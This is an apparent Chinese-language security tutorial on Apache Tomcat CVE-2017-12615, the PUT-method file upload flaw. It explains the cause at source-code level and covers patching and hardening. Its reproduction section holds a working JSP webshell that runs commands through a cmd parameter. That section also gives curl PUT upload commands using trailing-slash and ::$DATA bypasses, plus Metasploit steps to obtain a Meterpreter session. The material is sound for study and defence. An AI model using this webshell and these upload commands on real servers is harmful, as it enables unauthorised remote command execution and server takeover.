Apache Tomcat CVE-2017-12615漏洞深度剖析与实战复现 📅 2026/7/1 13:09:31 1. 项目概述与核心价值今天我们来深入聊聊一个在安全圈里“经久不衰”的经典漏洞CVE-2017-12615也就是Apache Tomcat的任意文件上传漏洞。这个漏洞的编号你可能在各种渗透测试报告、安全培训材料里见过无数次但你真的理解它背后的原理吗知道为什么一个看似简单的配置问题能导致服务器被完全控制吗更重要的是在如今这个容器化、云原生的时代这个“老”漏洞是否还有它的生存土壤这篇文章我将从一个一线安全研究者的视角带你从源码层面彻底拆解CVE-2017-12615并手把手完成漏洞复现。无论你是刚入门的安全爱好者还是想巩固Web安全基础的中级开发者这篇文章都将为你提供远超普通复现教程的深度洞察。我们不止于“怎么做”更要深挖“为什么”并探讨在当下的开发运维实践中如何从根本上避免这类问题。2. 漏洞背景与影响范围解析2.1 Tomcat与PUT方法的历史纠葛要理解CVE-2017-12615首先得了解Tomcat对HTTP PUT方法的默认处理逻辑。在早期的Web开发中PUT方法常用于RESTful API用于创建或更新资源。Tomcat作为一个Servlet容器其核心组件之一就是DefaultServlet它负责处理静态资源的请求比如直接请求一个.html或.jpg文件。默认情况下DefaultServlet是禁用了PUT和DELETE方法的这是出于安全考虑防止用户通过HTTP方法直接上传或删除服务器文件。然而这里存在一个关键的“后门”Tomcat的配置文件conf/web.xml。在这个文件里管理员可以手动为DefaultServlet或自定义的Servlet配置初始化参数其中就包括readonly。当readonly参数被设置为false时就意味着对应Servlet允许处理PUT和DELETE请求。很多开发者在部署一些需要文件上传功能的应用时或者在某些教程的误导下可能会盲目地修改这个参数从而为漏洞打开了第一道门。2.2 漏洞的核心解析逻辑的“特性”与“缺陷”即使readonly被设为false问题还没完。Tomcat在解析请求的URL路径时有一套自己的规则。漏洞的另一个关键点在于Tomcat对URL路径末尾斜杠/的处理以及其与Windows系统、某些特定配置的交互。攻击者可以通过构造特殊的请求路径例如在文件名后添加斜杠/或使用Windows文件流特性::$DATA来绕过Tomcat内置的安全检查最终将恶意文件如JSP Webshell上传到Web目录。这个漏洞的影响是巨大的。成功利用后攻击者可以在目标服务器上上传任意文件最常见的就是上传一个JSP格式的Webshell。一旦Webshell被成功访问攻击者就获得了在服务器上执行任意命令的能力相当于完全控制了这台Web服务器。受影响的主要是Tomcat 7.x系列版本7.0.0 到 7.0.81在特定配置下启用了HTTP PUT方法且运行在Windows平台或存在其他绕过条件攻击即可生效。3. 环境搭建与漏洞复现准备3.1 靶机环境配置为了原汁原味地复现这个漏洞我们需要搭建一个存在漏洞的Tomcat环境。我推荐使用Docker这能保证环境的纯净和可重复性。首先我们拉取一个指定版本的Tomcat镜像。这里我们选择tomcat:7.0.79这个版本在漏洞影响范围内且比较稳定。docker pull tomcat:7.0.79接下来运行容器。关键的一步是我们需要将Tomcat的conf/web.xml文件挂载出来以便修改其中的readonly参数。同时为了方便访问我们将Tomcat的8080端口映射到宿主机的8080端口。docker run -d --name vuln-tomcat -p 8080:8080 -v /path/to/your/local/web.xml:/usr/local/tomcat/conf/web.xml tomcat:7.0.79注意请将/path/to/your/local/web.xml替换为你本地一个web.xml文件的路径。你可以先从容器内复制一份出来进行修改。3.2 关键配置修改开启PUT方法现在我们需要修改本地的web.xml文件找到DefaultServlet的配置部分。通常它看起来像这样servlet servlet-namedefault/servlet-name servlet-classorg.apache.catalina.servlets.DefaultServlet/servlet-class init-param param-namedebug/param-name param-value0/param-value /init-param init-param param-namelistings/param-name param-valuefalse/param-value /init-param load-on-startup1/load-on-startup /servlet我们需要在其中添加一个初始化参数将readonly设置为falseservlet servlet-namedefault/servlet-name servlet-classorg.apache.catalina.servlets.DefaultServlet/servlet-class init-param param-namedebug/param-name param-value0/param-value /init-param init-param param-namelistings/param-name param-valuefalse/param-value /init-param !-- 添加以下初始化参数 -- init-param param-namereadonly/param-name param-valuefalse/param-value /init-param load-on-startup1/load-on-startup /servlet保存文件后由于我们使用了Docker的卷挂载修改会立即生效到容器内。重启Tomcat容器以使配置完全加载docker restart vuln-tomcat3.3 验证环境访问http://your-host-ip:8080应该能看到熟悉的Tomcat 7默认主页。为了验证PUT方法是否已开启我们可以使用一个简单的curl命令进行测试curl -X PUT http://your-host-ip:8080/test.txt -d “hello”如果服务器返回201 Created或者204 No Content而不是403 Forbidden或405 Method Not Allowed那么说明PUT方法已经启用成功。这是我们进行后续漏洞利用的前提条件。4. 漏洞原理的源码级深度剖析4.1 DefaultServlet的doPut方法追踪漏洞的核心逻辑位于org.apache.catalina.servlets.DefaultServlet类的doPut方法中。当Tomcat收到一个PUT请求时如果对应的Servlet是DefaultServlet且readonly为false请求就会进入这个方法。我们来看一下关键代码逻辑基于Tomcat 7.0.79源码。doPut方法会调用resources.write()方法将请求体内容写入文件。但在写入之前它会对请求路径进行一系列检查。其中一个关键检查是调用resources.getResource()获取目标资源并判断该资源是否已经存在或者其路径是否被允许。问题出现在路径规范化Canonicalization和检查的时机上。Tomcat使用了org.apache.tomcat.util.http.RequestUtil类的normalize方法来规范化路径防止目录遍历如../../../。然而攻击者可以利用Windows环境下的一个特性在文件名后添加斜杠/例如请求路径为/shell.jsp/。在Windows的NTFS文件系统中文件路径末尾的斜杠在创建文件时是允许的但某些安全检查逻辑在判断文件是否存在时可能会因为末尾的斜杠而认为这是一个目录不存在从而绕过“禁止覆盖已存在文件”的检查。4.2 安全校验的绕过点分析具体来说漏洞利用通常有两种方式斜杠绕过上传文件到/shell.jsp/注意末尾斜杠。在DefaultServlet处理过程中某些校验逻辑特别是在非Windows平台模拟Windows行为或某些配置下可能会因为末尾斜杠将shell.jsp/视为一个目录名。由于这个“目录”不存在校验通过文件内容会被写入。但最终文件系统尤其是Windows在保存时会忽略末尾的斜杠从而创建出shell.jsp文件。而Tomcat在后续将请求映射到JSP处理器时可能又不关心末尾斜杠导致/shell.jsp/这个URL能被当作/shell.jsp来执行。Windows文件流特性绕过在Windows平台上可以直接利用NTFS文件流特性请求路径如/shell.jsp::$DATA。::$DATA是NTFS文件系统的数据流标识在Java文件API处理时可能会被特殊处理导致安全检查失效最终创建出合法的shell.jsp文件。这两种方式的本质都是利用了Tomcat路径处理逻辑与底层操作系统文件系统行为之间的不一致性在安全检查的“缝隙”中完成了文件上传。4.3 从源码看修复方案Apache官方随后发布了补丁。修复的核心思路是在DefaultServlet的doPut方法中在最终决定写入文件之前进行更严格的路径校验。补丁增加了对请求路径的二次检查确保规范化后的路径不会因为末尾字符如/、\、.等而产生歧义并且明确禁止利用Windows文件流等特殊语法。同时社区也强烈建议除非有绝对必要否则永远不要在生产环境中将DefaultServlet的readonly参数设置为false。文件上传功能应该通过编写安全的、有严格校验的应用程序代码来实现而不是依赖容器提供的危险特性。5. 漏洞复现与利用实战5.1 利用斜杠/绕过复现假设我们的靶机IP是192.168.1.100。我们将使用Burp Suite或直接使用curl来发送恶意PUT请求。首先准备一个简单的JSP Webshell。其内容如下这个shell允许我们通过cmd参数执行系统命令% page importjava.util.*,java.io.*% % if (request.getParameter(cmd) ! null) { Process p Runtime.getRuntime().exec(request.getParameter(cmd)); OutputStream os p.getOutputStream(); InputStream in p.getInputStream(); DataInputStream dis new DataInputStream(in); String disr dis.readLine(); while ( disr ! null ) { out.println(disr); disr dis.readLine(); } } %我们将这个文件保存为shell.txt然后使用curl发送PUT请求在文件名后加上斜杠curl -X PUT http://192.168.1.100:8080/shell.jsp/ --data-binary shell.txt如果成功服务器会返回201 Created。此时访问http://192.168.1.100:8080/shell.jsp/带斜杠或http://192.168.1.100:8080/shell.jsp不带斜杠如果能看到页面可能空白或报错但不影响说明文件上传成功。然后我们可以通过传递cmd参数来执行命令例如查看当前目录http://192.168.1.100:8080/shell.jsp?cmddir如果页面返回了当前目录的文件列表说明漏洞利用成功我们获得了命令执行能力。5.2 利用Windows文件流::$DATA绕过复现这种利用方式仅对运行在Windows系统上的Tomcat有效。请求的构造如下curl -X PUT “http://192.168.1.100:8080/shell.jsp::$DATA” --data-binary shell.txt注意URL中的::$DATA需要根据工具进行适当的URL编码处理。在某些工具中直接发送可能有问题最好使用Burp Suite这类可以精确控制原始报文内容的工具。成功后的验证方式与斜杠绕过相同。5.3 使用自动化工具进行复现对于渗透测试人员使用自动化工具效率更高。例如Metasploit框架中就包含了针对CVE-2017-12615的利用模块。启动Metasploitmsfconsole搜索相关模块search tomcat 12615使用漏洞利用模块use exploit/multi/http/tomcat_jsp_upload_bypass设置参数set RHOSTS 192.168.1.100set RPORT 8080set TARGETURI /如果Tomcat不是部署在根目录执行攻击exploit如果成功模块会自动上传一个JSP Webshell并返回一个Meterpreter会话从而获得一个功能更强大的交互式shell。实操心得在实际的漏洞验证或渗透测试中我强烈建议优先使用Burp Suite手动构造请求进行验证。自动化工具虽然方便但有时会因为目标环境细微的差异如中间件、WAF规则而失败。手动验证能让你更清楚地理解漏洞触发的每个环节并且在遇到阻碍时比如返回403但原因不明能够通过修改请求头、尝试不同绕过技巧进行灵活调试。记住工具是辅助理解原理才是根本。6. 漏洞修复与安全加固方案6.1 官方补丁与版本升级最根本、最有效的修复方案是升级Tomcat到安全版本。对于Tomcat 7.x系列应升级至7.0.82及以上版本。官方在这些版本中修复了路径校验的逻辑缺陷。升级步骤通常包括备份现有配置和应用程序下载新版本替换二进制文件并重新测试应用功能。对于使用包管理器如yum, apt安装的Tomcat直接使用更新命令即可。6.2 安全配置最佳实践如果因为兼容性问题暂时无法升级必须通过配置进行严格加固禁用DefaultServlet的PUT方法这是最重要的措施。检查conf/web.xml确保DefaultServlet的readonly初始化参数值为true或直接删除该参数因为默认就是true。永远不要在生产环境中将其设置为false。使用安全管理器在conf/server.xml中为Connector配置allowLinking和relaxedPathChars等属性时保持谨慎非必要不修改默认值。可以考虑启用Java安全管理器-security选项但这对应用有一定影响需充分测试。应用程序层控制任何文件上传功能都应在应用程序代码中实现并包含严格的安全检查文件类型白名单校验不仅检查文件扩展名更应检查文件内容魔数Magic Number。重命名上传文件使用随机生成的文件名如UUID保存上传的文件避免用户控制最终存储路径的文件名。隔离存储将上传的文件存储在Web根目录之外并通过应用程序代码进行访问和分发。或者如果必须存储在Web目录下确保上传目录没有执行权限通过配置Tomcat的Context或服务器规则实现。6.3 架构层面的防御在云原生和容器化环境下我们可以采取更多架构上的措施来纵深防御最小权限原则运行Tomcat的容器或系统用户应仅拥有运行所需的最小权限。绝对不要使用root用户运行Tomcat。只读文件系统将Tomcat的webapps目录以只读read-only方式挂载到容器中防止任何文件写入。这从根本上杜绝了上传漏洞。应用程序如果需要临时存储应使用独立的、具有写权限的卷。网络策略限制在Kubernetes或云安全组中严格限制对Tomcat管理端口默认8080, 8009的访问仅允许可信源IP访问。部署Web应用防火墙在Tomcat前端部署WAF可以识别并阻断恶意的PUT请求以及特殊的路径构造为漏洞修复争取时间。7. 从漏洞复现中提炼的防御性编程思考CVE-2017-12615与其说是一个复杂的代码漏洞不如说是一个典型的设计与配置缺陷。它给我们的启示远远超出了如何修复一个Tomcat版本。安全边界的一致性至关重要。这个漏洞凸显了当多个组件Web容器、Java运行时、操作系统文件系统的安全假设不一致时就会产生攻击面。开发者在设计文件上传这类高危功能时必须明确每一层校验的职责和边界。容器提供了路径规范化应用代码就不能再完全信任用户输入的文件名必须进行自己的、基于业务逻辑的校验。默认安全Secure by Default原则。Tomcat将DefaultServlet的readonly默认设为true是正确的。任何偏离默认安全配置的行为都必须经过严格评审和必要性论证。在运维中对web.xml、server.xml等配置文件的任何修改都应纳入变更管理并清楚知晓其安全影响。对用户输入保持绝对怀疑。无论是URL路径、文件名还是其他任何来自客户端的数据都必须进行严格的规范化、过滤和校验。在处理文件路径时要使用平台无关的、经过安全审计的库函数并明确拒绝包含特殊字符如\0,..,:,,,|等和特殊模式如Windows流::$DATA的输入。深入理解CVE-2017-12615不仅是为了复现一个历史漏洞更是为了将这种对安全逻辑的深刻理解融入到我们日常的编码、配置和架构设计中去从而构建出更健壮、更难以攻破的应用系统。